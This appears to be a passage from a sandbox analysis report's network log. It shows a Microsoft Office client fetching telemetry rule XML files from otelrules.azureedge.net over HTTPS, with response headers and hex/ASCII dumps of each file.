2024-10-31 10:28:18 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:17 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:18 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:18 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 7be90567-f01e-00aa-3367-2a8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102818Z-159b85dff8fq4v8mhC1DFW70kw00000001vg000000005qpz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:18 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:18 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:18 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:18 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102818Z-16849878b7828dsgct3vrzta7000000007vg000000004cdd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:18 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:18 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:18 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102818Z-16849878b78qg9mlz11wgn0wcc00000008x000000000bwhv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:18 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:18 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:18 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:18 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102818Z-16849878b785dznd7xpawq9gcn0000000avg000000002tw6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:18 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:18 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:18 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:18 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: a5effc23-101e-0028-0ef8-2a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102818Z-15b8d89586fbmg6qpd9yf8zhm0000000048000000000a7wp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:18 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:18 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:18 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:18 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 93439f28-801e-00ac-63f6-2afd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102818Z-16849878b78q9m8bqvwuva4svc0000000800000000002k2e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:18 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:19 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:19 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:19 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 8cc202a4-801e-0067-03db-2afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102819Z-159b85dff8f7x84jhC1DFWaghs000000014g000000005v6v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 10:28:19 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:19 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:19 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:19 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: ea4f12d2-001e-0066-30b1-2a561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102819Z-159b85dff8fbvrz4hC1DFW730c00000000cg0000000002m7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:19 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:19 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:19 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:19 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3a798620-501e-00a0-0295-279d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102819Z-16849878b7867ttgfbpnfxt44s000000095000000000eb5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:19 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:19 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:19 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:19 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 10294bf0-701e-0021-254d-273d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102819Z-17c5cb586f6f98jx9q4y7udcaw00000000zg000000004678 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:19 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:19 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:19 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 19d379a2-b01e-0084-4b5b-28d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102819Z-15b8d89586fmhjx6a8nf3qm53c000000037g000000006mwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" 